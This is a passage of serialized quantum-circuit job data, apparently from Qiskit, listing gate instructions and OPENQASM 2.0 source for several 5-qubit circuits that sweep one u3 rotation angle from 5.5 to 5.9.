[0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1297', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.50000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.6000000000000005, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1299', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.60000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1301', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.800000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1303', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(5.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [5.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['5.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- 